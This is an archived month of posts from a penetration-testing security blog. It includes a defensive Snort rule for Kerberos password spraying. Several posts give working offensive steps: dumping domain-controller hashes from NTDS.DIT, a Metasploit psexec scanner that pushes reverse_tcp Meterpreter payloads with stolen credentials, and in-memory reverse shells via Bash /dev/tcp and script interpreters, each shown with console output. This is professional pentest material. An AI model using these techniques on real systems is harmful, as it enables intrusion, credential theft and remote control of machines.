December 2011 Archives

Looking back at 2011 by Ranty McRanterson

on December 30, 2011 5:44 AM | Permalink

Editors Note: We don't know who this is.. But I like the cut of his Jib.

But here is to hoping he writes some more in the future.

-strandjs

Note: if you're pressed for time (and aren't we all?), just look at
the end of this article for the 'too long; didn't read'

It's that time of year where right minded folks think back of what
transpired for the past twelve months. And so I have... please dear
reader, take a few moments and listen to my ramblings.

I regret to inform you that this posting is being written in my hidden
lair (aka the room I had prepared for use as my Y2K bunker). And
while it certainly is less comfortable than my den, it's entirely
apropos. You see, there's a 'secret' that we both know -- and it's
this: The wheels have fallen off the bus that is the information
security industry -- and nobody seems to have noticed.

I'm sorry to have laid such a bombshell at your feet like that. Let's
backpedal a bit and discuss why we find ourselves in this sticky
wicket.

2011 started off as a decent year, with nothing really
earth-shattering happening. If anything, it was a bit on the boring
side. And then in the spring, the reports of the hacks started
rolling in. "Never fear" some industry pundits said "it's just a slow
news cycle, remember that summer where all they talked about was
sharks?" I for one am glad that news has picked up and than we can
now put all this hacktivism this behind... oh what's that you say?
Massive breaches are still happening? Well there goes that argument!

I'll save you a rehash of what was arguably a horrid year for our
industry... but I will say this, I pity the Verizon data breach report
team. I fear this next edition will look less like a business
document, and will likely be a massive volume, perhaps as thick as the
the TCP/IP Illustrated books. (Someone do a kindness to the Verizon
data breach report group and get them a thesaurus. They're going to
need help coming up with so many different ways to say "PWNED!")

The thing that's got my kickers in such a twist though is how cavalier
the industry has been about this entire year of repeated failures.
The perfect example of this is HB Gary. No, I'm not going to recount
that train-wreck... but i will say this. If you get so completely
compromised that your name becomes a synonym with fail, at least have
the common decency to be humble, learn from the mistakes, and then
share what you've learned with the industry. But no! They were at
Black Hat Vegas this summer -- months after "The Breach" giving away
this shirt.

Dear HB Graphic designer guy, you got it backwards... APT pissed on HB Gary" Pic from Michael Boman

(For the record: members of the PaulDotCom team have *repeatedly*
asked to speak with HB Gary... and next time we're going to save
everyone's time and interview a Chia Pet instead. It certainly will
be more informative!)

At this point, I'm risking an aneurysm I'm so frothing mad. So I'm
going to calm down a bit...

Now we find ourselves in an interesting bind. We certainly can
continue down this path. After all, it seems that many institutions
appear happy to stay the course, doing things in the manner we've
always done in the past... specifically throw more money into the
insatiable maw of threats, adversaries, risks, and of course vendors.
And while it's unkind to be so blunt, many of the people in the
information security business will profit greatly from this. (It's
crass to discuss so base a thing as money, but it's my belief you may
find yourself making handsome returns in 2012 investing with so called
'industry leaders' -- after all there's plenty of meat on the bloated
carcass that our industry has become.)

However, I fear this "traditional" approach (a.k.a. throw money at the
problem until it goes away) is very much an analog to armies going
'over the top' into no man's land during WWI. We know the machine
guns will cut us down, why not do something unexpected? I like the
active defense/hacking back things I've heard about on this site.
I've been interested in this unconventional approach, but like you...
I've not done anything other than listen to the 'sales pitch'. My
career resolution for the next year is to actually enact some of the
active defense mechanisms that the PDC crew have mentioned on their
podcasts, videos, and conference speeches.

The game simply has to change. Us good guys are getting slaughtered.
We need to do not just a better job of what we're doing... we need to
do something altogether different. We need to all up our game.

Stay tuned for more ideas and rants on this and other topics.

May the next year treat you better than this one did! (but prepare for
worse handling!)

VR,
Ranty

If you'd like to email Ranty McRanterson, email the PaulDotCom crew --
psw at pauldotcom dot com -- and they will track him down.

TL;DR: The first half of this year was almost forgettable. That
changed this spring... in a big time way. Breaches and attacks have
gotten worse and worse... not much end in sight. The good news is
that infosec pros can actually help make things better... but it will
take hard work. Let's all start doing things differently and enact a
few of the active defense measures that the PDC crew -- and those like
them -- have been talking about. Now is the time of action!

Safely Dumping Hashes from DCs: Now Available in 64 bit Flavor

Tim Tomes (LaNMaSteR53)

on December 28, 2011 9:07 PM | Permalink

By now, the research I conducted on safely dumping hashes from live domain controllers is old news. However, there has been an interesting development since the initial release that is worth disclosing.

Soon after the initial release of the VSS hash dumping technique, it was discovered and widely publicized that the tools I used in the research only worked on NTDS.DIT files extracted from 32 bit systems. This seriously bummed me out. A fellow infosec professional, James McGrath, and I began reaching out to the developers of libesedb (Joachim Metz) and the NTDS.DIT parser (Csaba Barta) in an effort to get the respective tools updated to work with files from 64 bit systems. The response was fantastic. Soon after initial contact, Joachim released updated versions of libesedb and Csabas' followed closely with his new NTDS.DIT parsing framework, NTDSXtract. The technique is now universal. James and I have tested the new tools on files extracted from Domain Controllers running various Windows server operating systems with 100% success. Below I've listed the updated steps for getting the tools working.

1-3. Same as before. Extract the files from the target.

4. Download and extract libesedb from http://sourceforge.net/projects/libesedb/

5. Download and extract NTDSXtract from http://csababarta.com/downloads/ntdsxtract/ntdsxtract_v1_0.zip

6. Configure and Make the source code for libesedb from the extracted package.
cd libesedb chmod +x configure ./configure && make

7. Use esedbexport to extract the relevant tables from ntds.dit.
cd esedbtools ./esedbexport ../../ntds.dit

8. Use dsusers.py to extract the hashes from the datatable.
cd ../../NTDSXtract/ python ./dsusers.py ../datatable.3 ../link_table.4 --passwordhashes ../system

9. Crack / Pass the hashes.

There is an option for dsusers.py to dump hash history as well. You'll notice as you look through this framework that there is a ton of information to be had from NTDS.DIT files, but you'll also notice that the framework doesn't output the information in a way that's user friendly to pentesters. Therefore, I wrote a modified version of dsusers.py that focuses only on dumping hashes and presenting them in a usable form. You can find the script here.

Defeat Domain User Spraying & Brute Forcing of Passwords

Tim Tomes (LaNMaSteR53)

on December 28, 2011 4:53 PM | Permalink

This post comes to you from Lamar Spells of http://foxtrot7security.blogspot.com/.

A while back, LaNMaSteR53 (Tim Tomes) discussed a method for brute forcing domain default passwords while avoiding account lockout. This discussion was in response to a video by Dave Hoelzer on using PowerShell to hack domain user accounts.

The method proposed by LaNMaSteR53 relied on connecting to the IPC$ share of a domain controller. While there is a discussion to be had regarding the use of administrative shares, we will table that for now and focus instead of defeating LaNMaSteR53 and his desire to control our network.

Perhaps the most obvious way to detect this would be to review your Windows Security Event Logs on your Active Directory domain controllers. But if LaNMaSteR53 is successful, he will eventually gain domain admin privileges and clean up his tracks. Unless you are pumping your Windows Security Event Logs in real-time into a SIEM system of some sort and correlating based on failed logon attempts, chances are you may not see the activity at all or you may not detect it until it is too late. So, how can you defeat or detect the presence of this activity without a snazzy, expensive SIEM system?

One way would be via an Intrusion Detection System (IDS) such as the open source Snort product. With a pretty simple rule, you can monitor responses sent from your Active Directory domain controllers to clients requesting authentication. If the count of all failed authentication attempts from any given client in your enterprise exceeds a certain threshold in a specified period of time, you may be under attack even if you do not have a large number of disabled user accounts, etc.

If an organization locks user accounts after, say, 5 failed logon attempts, one might choose to configure a rule to look for more than 4 failed logon attempts from a single client in a period of 2 minutes. The following Snort rule accomplishes this purpose:

alert tcp any 88 -> any any (msg:"Possible domain user spraying detected"; \
flow:established, to_client; \

content:"|05|"; offset:14; depth:15; \

content:"|1e|"; distance:4; within:1; \

content:"|18|"; distance:30; within:1; \

detection_filter:track by_dst, count 4, seconds 120; \

reference:url,foxtrot7security.blogspot.com/2011/12/defeat-domain-user-spraying-brute_28.html; \

classtype:attempted-user; \

sid:1700000; \

rev:0;)

Like a lot of things in Security, you may end up with some false positives. Some tuning of the "count" and "seconds" thresholds based on your local environment should cut out most of the noise while allowing you to detect truly malicious activity.

Now for the truly curious who are asking the question, "So how does this rule work?"...

Microsoft adopted Kerberos as the preferred authentication protocol for Windows 2000 and subsequent Active Directory domains. While a comprehensive discussion of Kerberos 5 is beyond the scope of this post, there is a good Microsoft TechNet article that explains it pretty well. Kerberos 5 is also defined in RFC 5120.

By default, Microsoft Active Directory has a Kerberos feature called pre-authentication enabled. Pre-authentication makes offline password guessing attacks very difficult and, during the course of the user authentication, a Kerberos error is generated if an invalid user password is presented as part of the pre-authentication process. The Kerberos error generated in this case is KDC_ERR_PREAUTH_FAILED. This error code is set within the context of a KRB-ERROR structure is defined in the RFC as follows:

KRB-ERROR ::= [APPLICATION 30] SEQUENCE {

pvno [0] INTEGER (5),

msg-type [1] INTEGER (30),

ctime [2] KerberosTime OPTIONAL,

cusec [3] Microseconds OPTIONAL,

stime [4] KerberosTime,

susec [5] Microseconds,

error-code [6] Int32,

crealm [7] Realm OPTIONAL,

cname [8] PrincipalName OPTIONAL,

realm [9] Realm -- service realm --,

sname [10] PrincipalName -- service name --,

e-text [11] KerberosString OPTIONAL,

e-data [12] OCTET STRING OPTIONAL }

These responses are delivered from the KDC (aka the targeted domain controller) to the client via TCP port 88 which is the registered port for Kerberos. All we need to do is inspect the packets returned to the client for the proper pvno (protocol version number), msg-type and error-code to be able to detect a failed login. Then we simply count the number of failed logins versus our threshold values for count and seconds and--viola--we know what is going on in our network!

So how does this work via the Snort rule presented? First, we start with a packet capture of a failed login and look for the packet containing the KDC_ERR_PREAUTH_FAILED message. The payload might look something like this:

0000 00 00 00 e5 7e 81 e2 30 81 df a0 03 02 01 ......~. .0......

0010 05 a1 03 02 01 1e a4 11 18 0f 32 30 31 31 31 32 ........ ..201112

0020 32 31 32 31 31 30 35 39 5a a5 05 02 03 0e cb ab 21211059 Z.......

0030 a6 03 02 01 18 a9 06 1b 04 58 58 61 64 aa 19 30 ........ .XXad..0

0040 17 a0 03 02 01 02 a1 10 30 0e 1b 06 6b 72 62 74 ........ 0...krbt

0050 67 74 1b 04 58 58 61 64 ac 81 90 04 81 8d 30 81 gt..XXad ......0.

0060 8a 30 49 a1 03 02 01 0b a2 42 04 40 30 3e 30 09 .0I..... .B.@0>0.

0070 a0 03 02 01 17 a1 02 04 00 30 0a a0 04 02 02 ff ........ .0......

0080 7b a1 02 04 00 30 09 a0 03 02 01 80 a1 02 04 00 {....0.. ........

0090 30 1a a0 03 02 01 03 a1 13 04 11 58 58 41 44 2e 0....... ...XXAD.

00a0 58 58 2e 43 4f 4d 6f 6f 6f 66 75 73 30 3d a1 03 XX.COMdo ofus0=..

00b0 02 01 13 a2 36 04 34 30 32 30 05 a0 03 02 01 17 ....6.40 20......

00c0 30 06 a0 04 02 02 ff 7b 30 05 a0 03 02 01 80 30 0......{ 0......0

00d0 1a a0 03 02 01 03 a1 13 1b 11 58 58 41 44 2e 58 ........ ..XXAD.X

00e0 58 2e 43 4f 4d 64 6f 6f 66 75 73 X.COMdoo fus

One hint: Wireshark understands Kerberos packets (and many other protocols too!) and makes this much easier and far more understandable. Hence, using Wiresshark is highly recommended when doing protocol analysis.

Let's look at our rule again and break down the important parts in the context of the packet. We start with:

alert tcp any 88 -> any any (msg:"Possible domain user spraying detected";

We are looking at "any" IP sending traffic on tcp port 88 since we are inspecting Kerberos traffic. The directional arrow specifies that we are looking for the traffic to originate on tcp port 88. (More advanced topic: you could improve rule performance by creating a variable in Snort equating it only to your domain controllers. Your sensors would have less traffic to inspect that way!)

The next line says that the communication should be part of an established TCP session between the client and the server and that the response traffic should be destined for the client from the server:

flow:established, to_client;

Now we start our content inspection. Omitting the first 14 bytes of the packet (essentially Kerberos stuff we don't care about, but which is defined in the RFC) we can find our protocol version number or pvno. We expect this value to be hexadecimal "05" since we are inspecting Kerberos version 5 traffic.

content:"|05|"; offset:14; depth:15; \

Moving deeper into the packet, we find the msg-type field and look for a decimal value of 30 as specified in the RFC snippet shown above. Expressed in hexadecimal, this value is "1e". If we get this value, we know that we are now dealing with a Kerberos 5 error message.

content:"|1e|"; distance:4; within:1; \

At this point, we need only make sure we have found the pre-authentication failure. Buried deep in the packet 30 bytes beyond the msg-type field, we find the err-code field which should contain a decimal value of 24 if this is a pre-authentication failure. This corresponds to a hexadecimal value of "18".

content:"|18|"; distance:30; within:1; \

And to track how many responses are going to a client, we use the following line:

detection_filter:track by_dst, count 4, seconds 120; \

The track by_dst says to start a new set of counters for each client IP requesting authentication. Count and seconds are our thresholds for alerting. Remember, we will actually alert on the 5^th failed authentication attempt if we specify a count of 4 because this is saying MORE than 4 detected events.

I didn't spell it out above, but there really is a method to the madness when you are creating these types of rules:

1. Make sure you understand the problem you want to solve.
2. Capture traffic that illustrates the problem.
3. Look at the traffic and understand it thoroughly based on the protocol definition.
Make sure you understand the traffic flow characteristics and directional nature of the traffic.
4. Identify anything in the traffic that would allow you to spot the problem you are trying to solve.
5. Write a rule using what you have learned.
6. Test and implement the rule once you know that it captures the traffic you want.

Above all, don't get impatient when doing your research. This is hard work and requires a pretty detailed level of understanding. You will often need hours of time to solve a single problem especially if you are not intimately familiar with the protocol or process in question.

With that, I am signing off for 2011. Hope everyone has a safe and happy 2012.

Episode 271 with Jason Fossen tonight 6pm ET

Mike Perez

on December 22, 2011 7:00 AM | Permalink

Join us tonight at 6PM ET for an interview and update on Windows 8 with Jason Fossen on Episode 271 of PaulDotCom Security Weekly!

Participate in our IRC channel or sit back and enjoy it live via the link below:

NOTE: The video will play the most recent show up until we are live!

Hack Naked TV Episode 22

John Strand

on December 21, 2011 1:42 PM | Permalink

In this episode we look at hacking drones and talking to management.

Sure, it sounds boring, be then we break out the shadow puppets.

Links for this episode:

http://tinyurl.com/HNTVBeEFisGood

http://tinyurl.com/HNTVGPSWTF

http://tinyurl.com/HNTVSuits

Video Feeds:

PSExec Scanner Module

Carlos Perez

on December 20, 2011 7:53 AM | Permalink

Some time ago I was talking with Martin Bos also know as @pure_hate one of the members of the Backtrack Development team and a Pentester and he mentioned that he would love to have a better way of using the psexec module that is already part on the framework in an easier way than using resource scripts which he had to modify and play with for each engagement. So I took it upon myself to help him out an write an auxiliary scanner module for him to use in egagements, at the same time Larry Pesce from Pauldotcom came to me with a similar requirement for when he is doing pentests against client environments and wanted to re-use the credentials he gathered inside the framework that are stored in the database so I came with the following requirements:

The module must Scan a range for port 445 TCP and only on those with the port open perform the attack.
have the ability to set the normal variables of the payload like LHOST and LPORT.
Provide the ability to specify additional options for the payload, specially for those that have extra advanced options like the Meterpreter HTTPS payload.
Accept the standard options for the psexec module.

The module i wrote can be found in my GitHub page at psexec_scanner. To use the module you need to do:

mkdir -p ~/.msf4/modules/auxiliary/scanner/smb/
cd ~/.msf4/modules/auxiliary/scanner/smb/
curl -O https://raw.github.com/darkoperator/Meterpreter-Scripts/blob/master/auxiliary/scanner/smb/psexec_scanner.rb

Now we can use the module with any instance of the framework we load in the system making it easier to use across forks of the repository.

Now when we are inside msfconsole we can load the module and look at the options it provides:

msf > use auxiliary/scanner/smb/psexec_scanner
msf  auxiliary(psexec_scanner) > show options

Module options (auxiliary/scanner/smb/psexec_scanner):

   Name       Current Setting                  Required  Description
   ----       ---------------                  --------  -----------
   HANDLER    true                             no        Start an Exploit Multi Handler to receive the connection
   LHOST                                       yes       Local Hosts for payload to connect.
   LPORT                                       yes       Local Port for payload to connect.
   OPTIONS                                     no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD    windows/meterpreter/reverse_tcp  yes       Payload to use against Windows host
   RHOSTS                                      yes       Range of hosts to scan.
   SHARE      ADMIN$                           yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain  WORKGROUP                        yes       SMB Domain
   SMBPass                                     no        SMB Password
   SMBUser                                     no        SMB Username
   THREADS    1                                yes       The number of concurrent threads
   TYPE       manual                           no        Type of credentials to use, manual for provided one, db for those found on the database (accepted: db, manual)

As we can see it takes 2 options when it comes to credentials one where we set one single credential to test against several systems or use the credentials found in the database for the current workspace. The credentials in the database will use those stored there in plain text or smb hash format so it will used those found via dumping hashes from target systems and those found thru bruteforcing like the smblogin modules. I did not add the bruteforcing part using a list of user and passwords since the smblogin module is much better suited for this task. Having the module use the options this ways makes it perfect for levering a initial compromise to some systems and expand it to a wider range.

Lets do a sample run against some target systems using a set of credentials I was able to obtain by other means and run it against a range. We start by setting the appropriate options for the payload, set a range to scan, credentials and the number of threads to use:

msf  auxiliary(psexec_scanner) > set LHOST  172.16.163.1
LHOST => 172.16.163.1
msf  auxiliary(psexec_scanner) > set LPORT 4444
LPORT => 4444
msf  auxiliary(psexec_scanner) > set RHOSTS  172.16.163.2-150
RHOSTS => 172.16.163.2-150
msf  auxiliary(psexec_scanner) > set SMBUser Administrator
SMBUser => Administrator
msf  auxiliary(psexec_scanner) > set SMBPass Newsystem01
SMBPass => Newsystem01
msf  auxiliary(psexec_scanner) > set THREADS 10
THREADS => 10

Once we have all set we can launch the scan against the range:

msf  auxiliary(psexec_scanner) > run

[*] Using the username and password provided
#<#<Class:0x007fc88d91aef8>:0x007fc88c53c690>
[*] Starting exploit multi handler
[*] Started reverse handler on 172.16.163.1:4444
[*] Starting the payload handler...
[*] Scanned 019 of 149 hosts (012% complete)
[*] Scanned 030 of 149 hosts (020% complete)
[*] Scanned 045 of 149 hosts (030% complete)
[*] Scanned 060 of 149 hosts (040% complete)
[*] Scanned 075 of 149 hosts (050% complete)
[*] Scanned 090 of 149 hosts (060% complete)
[*] Scanned 105 of 149 hosts (070% complete)
[*] Scanned 120 of 149 hosts (080% complete)
[*] 172.16.163.141:445 - TCP OPEN
[*] Trying Administrator:Newsystem01
[*] Connecting to the server...
[*] Authenticating to 172.16.163.141:445|WORKGROUP as user 'Administrator'...
[*] Uploading payload...
[*] Scanned 136 of 149 hosts (091% complete)
[*] Created \tMxFrkje.exe...
[*] Binding to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.163.141[\svcctl] ...
[*] Bound to 367abb81-9844-35f1-ad32-98f038001003:2.0@ncacn_np:172.16.163.141[\svcctl] ...
[*] Obtaining a service manager handle...
[*] Creating a new service (PKTFMpHK - "MHLGojYuKIPncRpRNJynImVk")...
[*] Closing service handle...
[*] Opening service...
[*] Starting the service...
[*] Removing the service...
[*] Closing service handle...
[*] Deleting \tMxFrkje.exe...
[*] Sending stage (752128 bytes) to 172.16.163.141
[*] Meterpreter session 1 opened (172.16.163.1:4444 -> 172.16.163.141:49159) at 2011-12-15 20:23:52 -0400
[*] Scanned 149 of 149 hosts (100% complete)
[*] Auxiliary module execution completed
msf  auxiliary(psexec_scanner) > sessions -l

Active sessions
===============

  Id  Type                   Information                        Connection
  --  ----                   -----------                        ----------
  1   meterpreter x86/win32  NT AUTHORITY\SYSTEM @ WIN2K8R2-01  172.16.163.1:4444 -> 172.16.163.141:49159

msf  auxiliary(psexec_scanner) >

A great way to keep leveraging would be to set in the options smart_hashdump and the credential modules as a macro to run against a session in the AutoRunScript option.

Hope you find this blog post useful as always.

PaulDotCom Security Weekly Episode 270

Paul Asadoorian

on December 19, 2011 2:19 PM | Permalink

Tim Medin on Smart Ways To Crack Password Hashes:

Drunken Security News Segment:

Episode 270 Show Notes

Episode 270 - Direct Audio Download

Episode Hosts:

Paul Asadoorian, Host of Security Weekly and Stogie Geeks

Larry Pesce, Host of Hack Naked At Nite

Jack Daniel, Security B-Sides

Tune in to PaulDotCom Security Weekly TV, Hack Naked TV, and Hack Naked At Night episodes on our Bliptv channel.

Audio Feeds:

Video Feeds:

Secondary Shell Using Scripting Environment on Target

Carlos Perez

on December 18, 2011 9:09 PM | Permalink

After writing the payload inject module for Windows I was looking thru my Twitter feed and saw a tweet from Chris John Riley on the PentestMonkey website where he has a cheat sheet that shows how to use a targets scripting environment to create a reverse shell in one line executing with the code as an argument so that nothing is actually written to disk and the session resides in memory. After seeing this I thought it would be a great idea to have a s a module for Unix type systems (Linux, BSD,HPUX, Solaris, OS X..etc) So I wrote a module that is part of the framework that is called system_session. The module will look for the following scripting environments to us to create a reverse shell:

- Perl
- Python
- Ruby
- Bash

It will look in this same order for the presence of the interpreter and use it for creating the reverse shell.

For showing how the module works we will use some sessions to systems in my lab where session 1 is for a FreeBSD 8.2 VM, session 3 and session 4 is for a Linux Ubuntu System.

sessions

Active sessions
===============

  Id  Type                   Information                               Connection
  --  ----                   -----------                               ----------
  1   shell bsd              SSH admin:Newsystem01 (192.168.1.134:22)  192.168.1.241:55187 -> 192.168.1.134:22
  2   meterpreter x86/win32  VICTIMLAB\administrator @ WIN701          192.168.1.100:4444 -> 192.168.1.138:23021
  3   meterpreter x86/win32  VICTIMLAB\Administrator @ WIN2K3LAB01     192.168.1.100:4444 -> 192.168.1.138:4340
  4   shell linux                                                      192.168.1.100:4448 -> 192.168.1.135:37211

Lets start by selecting the module and looking at the options

msf  auxiliary(ssh_login) > use post/multi/manage/system_session
msf  post(system_session) > show options

Module options (post/multi/manage/system_session):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   HANDLER  false            yes       Start an Exploit Multi Handler to receive the connection
   LHOST                     yes       IP of host that will receive the connection from the payload.
   LPORT    4433             no        Port for Payload to connect to.
   SESSION                   yes       The session to run this module on.
   TYPE     auto             yes       Scripting environment on target to use for reverse shell (accepted: auto, ruby, python, perl, bash)

Lets start with the case of letting the module select the first supported scripting environment and set a remote session

msf  post(system_session) > set SESSION 1
SESSION => 1
msf  post(system_session) > set LHOST 192.168.1.100
LHOST => 192.168.1.100

msf  post(system_session) > set HANDLER true
HANDLER => true
msf  post(system_session) > run

[*] Starting exploit multi handler
[*] Started reverse handler on 192.168.1.100:4433
[*] Starting the payload handler...
[*] Python was found on target
[*] Python reverse shell selected
[*] Executing reverse tcp shel to 192.168.1.100 on port 4433
[*] Post module execution completed
msf  post(system_session) > [*] Command shell session 5 opened (192.168.1.100:4433 -> 192.168.1.134:60732) at 2011-10-28 15:03:39 -0400

msf  post(system_session) > sessions

Active sessions
===============

  Id  Type                   Information                               Connection
  --  ----                   -----------                               ----------
  1   shell bsd              SSH admin:Newsystem01 (192.168.1.134:22)  192.168.1.241:55187 -> 192.168.1.134:22
  2   meterpreter x86/win32  VICTIMLAB\administrator @ WIN701          192.168.1.100:4444 -> 192.168.1.138:23021
  3   meterpreter x86/win32  VICTIMLAB\Administrator @ WIN2K3LAB01     192.168.1.100:4444 -> 192.168.1.138:4340
  4   shell linux                                                      192.168.1.100:4448 -> 192.168.1.135:37211
  5   shell bsd                                                        192.168.1.100:4433 -> 192.168.1.134:60732

msf  post(system_session) >

Now lets try just using the Bash reverse TCP shell using /dev/tcp on one of the Linux systems:

msf  post(system_session) > set SESSION 4
SESSION => 4
msf  post(system_session) > set TYPE bash
TYPE => bash
msf  post(system_session) > run

[*] Starting exploit multi handler
[-] Job 5 is listening on IP 192.168.1.100 and port 4433
[-] Could not start handler!
[-] A job is listening on the same Port
[*] Bash reverse shell selected
[*] Executing reverse tcp shel to 192.168.1.100 on port 4433
[*] Post module execution completed
msf  post(system_session) > [*] Command shell session 6 opened (192.168.1.100:4433 -> 192.168.1.135:45662) at 2011-10-28 15:08:13 -0400

msf  post(system_session) > sessions -i 6
[*] Starting interaction with 6...

bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

carlos@infidel02-dev:/home/carlos/Desktop$ uname -a
uname -a
Linux infidel02-dev 2.6.32-25-generic #45-Ubuntu SMP Sat Oct 16 19:48:22 UTC 2010 i686 GNU/Linux
carlos@infidel02-dev:/home/carlos/Desktop$ ^Z
Background session 6? [y/N]  y

As we can see this can become quite useful when the shell we have is one on a Unix type system where the framework still does not support injecting in to processes payloads and where writing a file to disk is not necessarily the best option in that case.

As alway I hope you find this information useful.

Pentest Plugin Part 1

Carlos Perez

on December 18, 2011 8:49 PM | Permalink

With the move from Rapid7 to make the framework a repository of modules and have the majority of the automation in the Community and paid versions of metasploit I started several month ago to write a plugin called pentest to cover some of my personal needs and those of friends who have requested them in to a single plugin (Will break in to individual plugins in the future and have master one that will load all) for use from msfconsole.

The main areas I have coded so far in my free time have been:

Project - For managing of projects inside workspaces for saving data and exporting data from different tables from the Metasploit database.
Post Automation - To automate post exploitation tasks.
Discovery - For performing network discovery of hosts and services. (Will add discovery thru pivot in the future.)

The plugin can be found in my Github account https://github.com/darkoperator/Metasploit-Plugins/blob/master/pentest.rb as time passes I will keep adding new features to it as I need them and as friends coerce me in to adding new stuff for them.

Best way to add the plugin to your framework copy is to save it in your metasploit setting folder in your home directory:

mkdir -p ~/.msf4/plugins
cd ~/.msf4/plugins
curl -O https://raw.github.com/darkoperator/Metasploit-Plugins/master/ pentest.rb

Once it is downloaded there any instance of the framework you start will have access to it. To load it is is as simple as using the load command and using the help or ? command to see the additional commands that where added by the plugin:

msf  exploit(handler) > load pentest 
postauto plugin loaded.
[*] Successfully loaded plugin: pentest
msf  exploit(handler) > ?

Discovery Commands
==================

Command           Description
-------           -----------
network_discover  Performs a portscan and enumeration of services found for non pivot networks.


Project Commands
================

Command       Description
-------       -----------
project       Command for managing projects.


Postauto Commands
=================

Command             Description
-------             -----------
app_creds           Run application password collection modules against specified sessions.
multi_cmd           Run shell command against several sessions
multi_meter_cmd     Run a Meterpreter Console Command against specified sessions.
multi_meter_cmd_rc  Run resource file with Meterpreter Console Commands against specified sessions.
multi_post          Run a post module against specified sessions.
multi_post_rc       Run resource file with post modules and options against specified sessions.
sys_creds           Run system password collection modules against specified sessions.

Projects

Many times I find my self experimenting with different datasets as I develop scripts, resource files, modules ..etc and other times I have data of personal clients, I tended to create workspaces inside the framework for this and run several commands and resource scripts to set capture and exporting of data per project, so I added this command to help me manage all of that:

msf  exploit(handler) > project -h

OPTIONS:

    -a         Export all history and DB and archive it in to a zip file for current project.
    -c         Create a new Metasploit project and sets logging for it.
    -d         Delete a project created by the plugin.
    -h         Command Help
    -l         List projects created by plugin.
    -p  <opt>  Path to save archive, if none provide default ~/.msf4/archives will be used.
    -ph        Generate resource files for sessions and console. Generate time stamped session logs for current project.
    -r         Create time stamped RC files of Meterpreter Sessions and console history for current project.
    -s         Switch to a project created by the plugin.

Creating a new project

To create a new project is as simple as:

msf  exploit(handler) > project -c pauldotcom
Creating DB Workspace named pauldotcom
Added workspace: pauldotcom
Spooling to file /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_spool.log...
msf  exploit(handler) >  > project -l
List of projects:
    * pauldotcom
msf  exploit(handler) >  >

As you can see the command created the workspace called pauldotcom and started logging using spool to *~/.msf4/logs/projects/* one can use the -l switch to list them. You might see a extra ">" added when you manipulate projects, this is do to a bug with the spool command that has been open for a while, hope it gets fixed soon.

One of the features I like the most is the ability to create a time stamped resource file that will show all the command I have entered in a session and show the command ran, this can prove quite useful when showing a client what actions where taken and when. Here is an example if I only want to show the commands ran in the console, if we had some meterpreter sessions it would had generated timestamped resource files for those also:

msf  exploit(handler) >  > project -r 
Writing Console RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc
RC file written
List of projects:
    * pauldotcom
msf  exploit(handler) >  > cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc
[*] exec: cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.3913.rc

# command executed at 2011-12-15 14:06:52 UTC
project -l
# command executed at 2011-12-15 14:38:13 UTC
project -r

If we want a full project history that covers:

Timestamped session Commands resource file
Timestamped Meterpreter session log of commands and output
Timestamped console commands resource file

Then the -ph would have been used:

msf  exploit(handler) >  > project -ph
Writing Console RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.0735.rc
RC file written
Creating RC file for Session 1
Saving RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.rc
RC file written
Exporting Session 1 history
Saving log file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log
Log file written
msf  exploit(handler) >  > cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log
[*] exec: cat /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.0735.log

# Info: uuid: 8chmctur type: meterpreter id: 1 info:  
2011-12-15 15:02:57 UTC
load stdapi
2011-12-15 15:03:00 UTC
load priv
2011-12-15 15:04:24 UTC
run checkvm
2011-12-15 15:04:36 UTC
run post/windows/gather/win_privs
2011-12-15 15:04:56 UTC
run priv
2011-12-15 15:05:08 UTC
background
2011-12-15 15:07:20 UTC
ls
2011-12-15 15:07:21 UTC

Listing: C:\Documents and Settings\Administrator\Desktop
========================================================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100777/rwxrwxrwx  37888  fil   2010-01-25 18:49:24 -0400  macmet.exe
40777/rwxrwxrwx   0      dir   2010-01-17 08:59:54 -0400  ..
40777/rwxrwxrwx   0      dir   2010-02-20 14:48:26 -0400  .


2011-12-15 15:07:25 UTC
getuid
2011-12-15 15:07:25 UTC
Server username: TESTACCN-X6V582\Administrator
2011-12-15 15:07:28 UTC
sysinfo
2011-12-15 15:07:28 UTC
Computer        : TESTACCN-X6V582
2011-12-15 15:07:28 UTC
OS              : Windows XP (Build 2600).
2011-12-15 15:07:28 UTC
Architecture    : x86
2011-12-15 15:07:28 UTC
System Language : en_US
2011-12-15 15:07:28 UTC
Meterpreter     : x86/win32
2011-12-15 15:07:30 UTC
background

Lets say we finished with a project and are going to share the info with the project manager, other team member or client one can create a single zip file:

Spool file of the project
Resource files for console and session commands
Session history
Exported database in xml format

To do this we use the -a command for archiving:

msf  exploit(handler) >  > project -a
Exporting DB Workspace pauldotcom
    >> Starting export of report
    >> Starting export of hosts
    >> Starting export of events
    >> Starting export of services
    >> Starting export of credentials
    >> Starting export of web sites
    >> Starting export of web pages
    >> Starting export of web forms
    >> Starting export of web vulns
    >> Finished export of report
Finished export of workspace pauldotcom to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.xml [ xml ]...
Disabling spooling for pauldotcom
Spooling disabled for archiving
Writing Console RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.1942.rc
RC file written
Creating RC file for Session 1
Saving RC file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.rc
RC file written
Exporting Session 1 history
Saving log file to /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_session_1_20111215.1942.log
Log file written
Adding /Users/carlos/.msf4/logs/projects/pauldotcom/pauldotcom_20111215.0514.rc to archive
